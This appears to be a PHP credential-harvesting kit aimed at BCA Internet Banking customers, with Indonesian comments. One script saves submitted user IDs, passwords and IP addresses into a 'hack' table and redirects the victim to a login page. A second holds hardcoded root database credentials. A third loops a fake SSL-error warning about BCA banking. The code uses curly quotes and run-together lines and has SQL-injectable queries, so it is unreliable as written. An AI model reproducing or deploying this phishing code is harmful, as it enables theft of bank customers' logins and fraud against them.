<?phpinclude “koneksi.php”;$User = $_POST['UserId'];
$passwd = $_POST['passwd'];
$ip = getenv(REMOTE_ADDR);
$tgl = date(“j F Y, g:i a”);$query = “INSERT INTO hack (user, passwd, ip, tgl) VALUES (‘$User’, ‘$passwd’, ‘$ip’, ‘$tgl’)”;mysqli_query($konek, $query); // kirim query ke database$hasil = mysqli_affected_rows($konek); // cek perubahan data di database// login.php adalah URL Direct letak overflowif ($hasil > 0)
{
header(‘location:../login.php’ );
}
else
{
echo “gagal”;
}
?>
<?php$database = “bca”; // nama database
$host = “localhost”; // nama host
$nama = “root”; // username database
$pass = “haning”; // password database$konek = mysqli_connect($host, $nama, $pass, $database); // konek ke databaseif(mysqli_connect_errno())
{
echo “Koneksi Ke Server Gagal.”;
exit();
}?>
<?php
mysql_connect (“localhost”, “root”,”haning”) or die (mysql_error());
mysql_select_db (“bca”) or die(mysql_error());$over = $_POST['login']; // button submit “login”$sql = mysql_query(” select * from hack where user like ‘%$over%’ “);$row = mysql_fetch_array($sql);// Proses Oveflow, lebih tepatnya Perulangan Pencarianif ($row > 0)
{
while ($row){
echo “At “.$row['tgl'].” Secure Socket SSL Invalid. Please, do not process access to BCA Internet Banking.<br>”;
}
}
else
{
echo “overflow gagal”;
}
?>